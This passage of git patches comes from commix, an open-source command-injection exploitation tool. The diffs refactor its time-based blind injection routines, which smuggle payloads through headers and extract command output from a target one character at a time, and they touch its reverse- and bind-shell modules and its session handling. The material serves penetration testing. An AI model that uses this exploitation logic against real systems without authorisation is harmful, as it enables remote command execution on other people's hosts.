http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - - if settings.TARGET_OS == settings.OS.WINDOWS: - previous_cmd = cmd - if alter_shell: - cmd = cmd = checks.quoted_cmd(cmd) - else: - cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()" - - if menu.options.file_write or menu.options.file_upload : - minlen = 0 - else: - minlen = 1 - - found_chars = False - info_msg = "Retrieving the length of execution output (via '" + OUTPUT_TEXTFILE +"')." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - for output_length in range(int(minlen), int(maxlen)): - # Execute shell commands on vulnerable host. - if alter_shell : - payload = tfb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) - else: - payload = tfb_payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") - settings.print_data_to_stdout(settings.print_payload(payload_msg)) - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) - - else: - how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - - # Examine time-responses - injection_check = False - if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF): - injection_check = True - - if injection_check == True: - if output_length > 1: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Retrieved the length of execution output: " + str(output_length) - settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) - else: - sub_content = "Retrieved: " + str(output_length) - settings.print_data_to_stdout(settings.print_sub_content(sub_content)) - found_chars = True - injection_check = False - break - - # Proceed with the next (injection) step! - if found_chars == True : - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = previous_cmd - num_of_chars = output_length + 1 - check_start = 0 - check_end = 0 - check_start = time.time() - output = [] - percent = "0.0%" - info_msg = "Retrieving the execution output (via '" + OUTPUT_TEXTFILE + "')." - if settings.VERBOSITY_LEVEL == 0 : - info_msg += ".. (" + str(percent) + ")" - else: - info_msg += "\n" - if output_length > 1: - settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) - - for num_of_chars in range(1, int(num_of_chars)): - char_pool = checks.generate_char_pool(num_of_chars) - for ascii_char in char_pool: - # Get the execution ouput, of shell execution. - if alter_shell : - payload = tfb_payloads.get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method) - else: - payload = tfb_payloads.get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method) - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") - settings.print_data_to_stdout(settings.print_payload(payload_msg)) - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) - - else: - how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - - # Examine time-responses - injection_check = False - if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF): - injection_check = True - if injection_check == True: - if settings.VERBOSITY_LEVEL == 0: - output.append(chr(ascii_char)) - percent, float_percent = checks.percentage_calculation(num_of_chars, output_length) - if percent == 100: - float_percent = settings.info_msg - else: - float_percent = ".. (" + str(float_percent) + "%)" - info_msg = "Retrieving the execution output (via '" + OUTPUT_TEXTFILE +"')." - info_msg += float_percent - settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) - - - else: - output.append(chr(ascii_char)) - injection_check = False - break - check_end = time.time() - check_how_long = int(check_end - check_start) - output = "".join(str(p) for p in output) - - # Check for empty output. - if output == (len(output) * settings.SINGLE_WHITESPACE): - output = "" - - else: - check_start = 0 - check_how_long = 0 - output = "" - - return check_how_long, output +def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): + return injector.time_relative_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) """ False Positive check and evaluation. """ -def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response, false_positive_warning): - - if settings.TARGET_OS == settings.OS.WINDOWS: - previous_cmd = cmd - if alter_shell: - cmd = cmd = checks.quoted_cmd(cmd) - else: - cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()" - - found_chars = False - checks.check_for_false_positive_result(false_positive_warning) - - # Varying the sleep time. - if false_positive_warning: - timesec = timesec + random.randint(3, 5) - - # Checking the output length of the used payload. - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(".") - for output_length in range(1, 3): - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(".") - # Execute shell commands on vulnerable host. - if alter_shell : - payload = tfb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) - else: - payload = tfb_payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") - settings.print_data_to_stdout(settings.print_payload(payload_msg)) - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) - - else: - how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - - if (how_long >= settings.FOUND_HOW_LONG) and (how_long - timesec >= settings.FOUND_DIFF): - found_chars = True - break - - if found_chars == True : - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = previous_cmd - num_of_chars = output_length + 1 - check_start = 0 - check_end = 0 - check_start = time.time() - - output = [] - percent = 0 - - - is_valid = False - for num_of_chars in range(1, int(num_of_chars)): - for ascii_char in range(1, 9): - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(".") - # Get the execution ouput, of shell execution. - if alter_shell: - payload = tfb_payloads.fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method) - else: - payload = tfb_payloads.fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_method) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") - settings.print_data_to_stdout(settings.print_payload(payload_msg)) - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) - - else: - how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - - if (how_long >= settings.FOUND_HOW_LONG) and (how_long - timesec >= settings.FOUND_DIFF): - output.append(ascii_char) - is_valid = True - break - - if is_valid: - break - - check_end = time.time() - check_how_long = int(check_end - check_start) - output = "".join(str(p) for p in output) - - if str(output) == str(randvcalc): - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(" (done)") - return how_long, output - else: - checks.unexploitable_point() - -""" -Export the injection results -""" -def export_injection_results(cmd, separator, output, check_how_long): - if output != "" and check_how_long != 0 : - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long)) + "." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - settings.print_data_to_stdout(settings.print_output(output)) - else: - err_msg = common.invalid_cmd_output(cmd) - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - +def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique): + return injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique) + # eof \ No newline at end of file diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 3969cd193a..5613b9f785 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -73,7 +73,6 @@ def crawler_request(url, http_request_method): else: request_failed(err_msg) - """ Estimating the response time (in seconds). """ @@ -229,9 +228,6 @@ def estimate_response_time(url, timesec, http_request_method): end = time.time() diff = end - start - - # if settings.VERBOSITY_LEVEL != 0 and _: - # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) if int(diff) < 1: url_time_response = int(diff) @@ -464,8 +460,8 @@ def inject_cookie(url, vuln_parameter, payload, http_request_method): if settings.TIME_RELATIVE_ATTACK : end = time.time() - how_long = int(end - start) - return how_long + exec_time = int(end - start) + return exec_time else: return response @@ -507,8 +503,8 @@ def inject_user_agent(url, vuln_parameter, payload, http_request_method): if settings.TIME_RELATIVE_ATTACK : end = time.time() - how_long = int(end - start) - return how_long + exec_time = int(end - start) + return exec_time else: return response @@ -550,8 +546,8 @@ def inject_referer(url, vuln_parameter, payload, http_request_method): if settings.TIME_RELATIVE_ATTACK : end = time.time() - how_long = int(end - start) - return how_long + exec_time = int(end - start) + return exec_time else: return response @@ -593,8 +589,8 @@ def inject_host(url, vuln_parameter, payload, http_request_method): if settings.TIME_RELATIVE_ATTACK : end = time.time() - how_long = int(end - start) - return how_long + exec_time = int(end - start) + return exec_time else: return response @@ -639,8 +635,8 @@ def inject_custom_header(url, vuln_parameter, payload, http_request_method): if settings.TIME_RELATIVE_ATTACK : end = time.time() - how_long = int(end - start) - return how_long + exec_time = int(end - start) + return exec_time else: return response @@ -824,10 +820,103 @@ def os_identification(response): Perform target page reload (if it is required). """ def url_reload(url, timesec): - if timesec <= "5": + if int(timesec) <= 5: timesec = 5 time.sleep(timesec) response = urllib.urlopen(url) return response +""" +Check if target host is vulnerable. +""" +def init_injection(payload, http_request_method, url): + if settings.TIME_RELATIVE_ATTACK: + start = 0 + end = 0 + start = time.time() + + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: + payload = payload.replace("#","%23") + vuln_parameter = parameters.vuln_GET_param(url) + target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) + if settings.USER_DEFINED_POST_DATA: + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) + else: + request = _urllib.request.Request(target, method=http_request_method) + else: + parameter = menu.options.data + parameter = parameters.do_POST_check(parameter, http_request_method) + parameter = ''.join(str(e) for e in parameter).replace("+","%2B") + vuln_parameter = parameters.vuln_POST_param(parameter, url) + if settings.IS_JSON: + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) + try: + data = checks.json_data(data) + except ValueError: + pass + elif settings.IS_XML: + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + else: + data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) + headers.do_check(request) + response = get_request_response(request) + + if settings.TIME_RELATIVE_ATTACK: + end = time.time() + response = int(end - start) + else: + exec_time = response + + return response, vuln_parameter + +""" +Calculate the time relative execution time +""" +def perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url): + # Fix prefixes / suffixes + payload = parameters.prefixes(payload, prefix) + payload = parameters.suffixes(payload, suffix) + + # Fixation for specific payload. + if ")%3B" + ")}" in payload: + payload = payload.replace(")%3B" + ")}", ")" + ")}") + + payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) + payload = checks.perform_payload_modification(payload) + + # Check if defined "--verbose" option. + if settings.VERBOSITY_LEVEL != 0: + payload_msg = payload.replace("\n", "\\n") + settings.print_data_to_stdout(settings.print_payload(payload_msg)) + + # Check if defined cookie with "INJECT_HERE" tag + if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: + if not vuln_parameter: + vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) + exec_time = cookie_injection(url, vuln_parameter, payload, http_request_method) + # Check if defined user-agent with "INJECT_HERE" tag + elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: + if not vuln_parameter: + vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) + exec_time = user_agent_injection(url, vuln_parameter, payload, http_request_method) + # Check if defined referer with "INJECT_HERE" tag + elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: + if not vuln_parameter: + vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) + exec_time = referer_injection(url, vuln_parameter, payload, http_request_method) + # Check if defined host with "INJECT_HERE" tag + elif menu.options.host and settings.INJECT_TAG in menu.options.host: + if not vuln_parameter: + vuln_parameter = parameters.specify_host_parameter(menu.options.host) + exec_time = host_injection(url, vuln_parameter, payload, http_request_method) + # Check if defined custom header with "INJECT_HERE" tag + elif settings.CUSTOM_HEADER_INJECTION: + if not vuln_parameter: + vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) + exec_time = custom_header_injection(url, vuln_parameter, payload, http_request_method) + else: + exec_time, vuln_parameter = init_injection(payload, http_request_method, url) + + return exec_time, vuln_parameter # eof \ No newline at end of file diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 25934c5a83..3b28cfd9ae 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -52,7 +52,7 @@ def shell_options(option): Success msg. """ def shell_success(): - info_msg = "Everything is in place, cross your fingers and check for bind shell (on port " + settings.LPORT + ").\n" + info_msg = "Everything is in place, cross your fingers and check for bind shell (on port " + settings.LPORT + ")." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index b49dd94232..89779a76d0 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -67,7 +67,7 @@ def gen_payload_msg(payload): Success msg. """ def shell_success(): - info_msg = "Everything is in place, cross your fingers and wait for reverse shell (on port " + settings.LPORT + ").\n" + info_msg = "Everything is in place, cross your fingers and wait for reverse shell (on port " + settings.LPORT + ")." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) diff --git a/src/utils/menu.py b/src/utils/menu.py index 27fbab88de..b0f81f24e6 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -486,11 +486,11 @@ def banner(): help="Seconds to delay between each HTTP request.") injection.add_option("--time-sec", - default=1, + default=0, action="store", type="int", dest="timesec", - help="Seconds to delay the OS response (Default: 1).") + help="Seconds to delay the OS response.") injection.add_option("--tmp-path", action="store", diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 7bc248ea75..6c92d5f736 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -96,23 +96,23 @@ def clear(url): """ Import successful injection points to session file. """ -def injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable): +def injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable): try: conn = sqlite3.connect(settings.SESSION_FILE) conn.execute("CREATE TABLE IF NOT EXISTS " + table_name(url) + "_ip" + \ "(id INTEGER PRIMARY KEY, url VARCHAR, technique VARCHAR, injection_type VARCHAR, separator VARCHAR," \ "shell VARCHAR, vuln_parameter VARCHAR, prefix VARCHAR, suffix VARCHAR, "\ "TAG VARCHAR, alter_shell VARCHAR, payload VARCHAR, http_header VARCHAR, http_request_method VARCHAR, url_time_response INTEGER, "\ - "timesec INTEGER, how_long INTEGER, output_length INTEGER, is_vulnerable VARCHAR);") + "timesec INTEGER, exec_time INTEGER, output_length INTEGER, is_vulnerable VARCHAR);") conn.execute("INSERT INTO " + table_name(url) + "_ip(url, technique, injection_type, separator, "\ "shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_header, http_request_method, "\ - "url_time_response, timesec, how_long, output_length, is_vulnerable) "\ + "url_time_response, timesec, exec_time, output_length, is_vulnerable) "\ "VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)", \ (str(url), str(technique), str(injection_type), \ str(separator), str(shell), str(vuln_parameter), str(prefix), str(suffix), \ str(TAG), str(alter_shell), str(payload), str(settings.HTTP_HEADER), str(http_request_method), \ - int(url_time_response), int(timesec), int(how_long), \ + int(url_time_response), int(timesec), int(exec_time), \ int(output_length), str(is_vulnerable))) conn.commit() conn.close() @@ -209,27 +209,26 @@ def injection_point_exportation(url, http_request_method): result = conn.execute("SELECT * FROM sqlite_master WHERE name = '" + \ table_name(url) + "_ip' AND type = 'table';") if result: - if menu.options.tech[:1] == "c": - select_injection_type = "R" - elif menu.options.tech[:1] == "e": - settings.EVAL_BASED_STATE = True - select_injection_type = "R" - elif menu.options.tech[:1] == "t": - select_injection_type = "B" - else: - select_injection_type = "S" - if settings.TEMPFILE_BASED_STATE and select_injection_type == "S": - check_injection_technique = "t" - elif settings.EVAL_BASED_STATE and select_injection_type == "R": - check_injection_technique = "d" - else: - check_injection_technique = menu.options.tech[:1] - + # if menu.options.tech[:1] == "c": + # select_injection_type = "R" + # elif menu.options.tech[:1] == "e": + # settings.EVAL_BASED_STATE = True + # select_injection_type = "R" + # elif menu.options.tech[:1] == "t": + # select_injection_type = "B" + # else: + # select_injection_type = "S" + # if settings.TEMPFILE_BASED_STATE and select_injection_type == "S": + # check_injection_technique = "t" + # elif settings.EVAL_BASED_STATE and select_injection_type == "R": + # check_injection_technique = "d" + # else: + # check_injection_technique = menu.options.tech[:1] if settings.TESTABLE_PARAMETER: cursor = conn.execute("SELECT * FROM " + table_name(url) + "_ip WHERE "\ "url = '" + url + "' AND "\ - "injection_type like '" + select_injection_type + "%' AND "\ - "technique like '" + check_injection_technique + "%' AND "\ + # "injection_type like '" + select_injection_type + "%' AND "\ + # "technique like '" + check_injection_technique + "%' AND "\ "vuln_parameter = '" + settings.TESTABLE_PARAMETER + "' AND "\ "http_request_method = '" + http_request_method + "' "\ "ORDER BY id DESC limit 1;") @@ -237,8 +236,8 @@ def injection_point_exportation(url, http_request_method): else: cursor = conn.execute("SELECT * FROM " + table_name(url) + "_ip WHERE "\ "url = '" + url + "' AND "\ - "injection_type like '" + select_injection_type + "%' AND "\ - "technique like '" + check_injection_technique + "%' AND "\ + # "injection_type like '" + select_injection_type + "%' AND "\ + # "technique like '" + check_injection_technique + "%' AND "\ "http_header = '" + settings.HTTP_HEADER + "' AND "\ "http_request_method = '" + http_request_method + "' "\ "ORDER BY id DESC limit 1;") @@ -258,10 +257,10 @@ def injection_point_exportation(url, http_request_method): http_request_method = session[13] url_time_response = session[14] timesec = session[15] - how_long = session[16] + exec_time = session[16] output_length = session[17] is_vulnerable = session[18] - return url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable + return url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable else: no_such_table = True pass @@ -280,37 +279,18 @@ def notification(url, technique, injection_type): try: if settings.LOAD_SESSION == True: while True: - message = "A previously stored session has been held against that target. " - message += "Do you want to resume to " + # message = "A previously stored session has been held against that target. " + message = "Do you want to resume to the " message += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " message += technique.rsplit(' ', 2)[0] - message += " injection point? [Y/n] > " + message += " injection point from stored session? [Y/n] > " settings.LOAD_SESSION = common.read_input(message, default="Y", check_batch=True) if settings.LOAD_SESSION in settings.CHOICE_YES: settings.INJECTION_CHECKER = True return True elif settings.LOAD_SESSION in settings.CHOICE_NO: settings.LOAD_SESSION = False - if technique[:1] != "c": - while True: - message = "Which technique do you want to re-evaluate? [(C)urrent/(a)ll/(n)one] > " - proceed_option = common.read_input(message, default="C", check_batch=True) - if proceed_option.lower() in settings.CHOICE_PROCEED : - if proceed_option.lower() == "a": - settings.RETEST = True - break - elif proceed_option.lower() == "c" : - settings.RETEST = False - break - elif proceed_option.lower() == "n": - raise SystemExit() - else: - pass - else: - common.invalid_option(proceed_option) - pass - if settings.SESSION_APPLIED_TECHNIQUES: - menu.options.tech = ''.join(settings.AVAILABLE_TECHNIQUES) + settings.RESET_TESTS = True return False elif settings.LOAD_SESSION in settings.CHOICE_QUIT: raise SystemExit() diff --git a/src/utils/settings.py b/src/utils/settings.py index bf2e0a1faf..03b8943e29 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "89" +REVISION = "90" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -555,8 +555,8 @@ class OS(object): # Seconds to delay between each HTTP request. DELAY = 0 -# Seconds to delay the OS response. (Default 1) -TIMESEC = 1 +# Seconds to delay the OS response. +TIMESEC = 0 # Seconds to delay between each HTTP retry. DELAY_RETRY = 1 @@ -660,8 +660,8 @@ class OS(object): # Accepts 'W','w','U','u','Q','q' CHOICE_OS = ['W','w','U','u','Q','q','N','n'] -# Accepts 'C','c','S','s','Q','q','a','A','n','N' -CHOICE_PROCEED = ['C','c','S','s','Q','q','a','A','n','N'] +# Accepts 'C','c','S','s','Q','q','A','a','N','n','R','r' +CHOICE_PROCEED = ['C','c','S','s','Q','q','A','a','N','n','R','r'] # Available alternative shells AVAILABLE_SHELLS = ["python"] @@ -1028,7 +1028,7 @@ class INJECTION_TECHNIQUE(object): DEL = "rm " # Time-based Variables -FOUND_HOW_LONG = "" +FOUND_EXEC_TIME = "" FOUND_DIFF = "" # Check for PowerShell @@ -1051,8 +1051,8 @@ class INJECTION_TECHNIQUE(object): SESSION_FILE = "" LOAD_SESSION = None -# Retest all techniques -RETEST = False +# Reset all tests (i.e. all techniques) +RESET_TESTS = False # Define the default credentials files USERNAMES_TXT_FILE = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/" + "default_usernames.txt" diff --git a/src/utils/update.py b/src/utils/update.py index a55f52a0ce..81be4cbdb4 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -54,8 +54,8 @@ def revision_num(): else: settings.print_data_to_stdout(Fore.MAGENTA + "\n" + stdout + Style.RESET_ALL) end = time.time() - how_long = int(end - start) - info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(how_long)) + "." + exec_time = int(end - start) + info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(exec_time)) + "." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) except: raise SystemExit() @@ -67,7 +67,6 @@ def updater(): info_msg = "Checking requirements to update " info_msg += settings.APPLICATION + " from GitHub repository. " settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - if menu.options.offline: err_msg = "You cannot update commix via GitHub without access on the Internet." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) @@ -102,6 +101,7 @@ def updater(): err_msg = requirment + " not found." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() + except Exception as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() From edf7dcee22f8447b38f89118d0f75ecdc9370bcb Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 7 Aug 2024 07:12:36 +0300 Subject: [PATCH 0488/1023] Fixes https://github.com/commixproject/commix/issues/920 --- src/core/injections/controller/injector.py | 16 ++++++++++------ src/utils/settings.py | 2 +- 2 files changed, 11 insertions(+), 7 deletions(-) diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index 5bcc49d262..b217f4a38d 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -373,14 +373,18 @@ def custom_web_root(url, OUTPUT_TEXTFILE): message = "Enter URL to use " message += "for command execution output > " message = common.read_input(message, default=output, check_batch=True) - output = settings.DEFINED_WEBROOT = message - info_msg = "Using '" + output - info_msg += "' for command execution output." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - if not settings.DEFINED_WEBROOT: + if not re.search(r'^(?:http)s?://', message, re.I): + common.invalid_option(message) pass else: - break + output = settings.DEFINED_WEBROOT = message + info_msg = "Using '" + output + info_msg += "' for command execution output." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if not settings.DEFINED_WEBROOT: + pass + else: + break elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: diff --git a/src/utils/settings.py b/src/utils/settings.py index 03b8943e29..4a186098d9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "90" +REVISION = "91" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From d8169c33cbeb038a9cd8c4b0876e5cb33b0d8da4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 27 Aug 2024 19:51:47 +0300 Subject: [PATCH 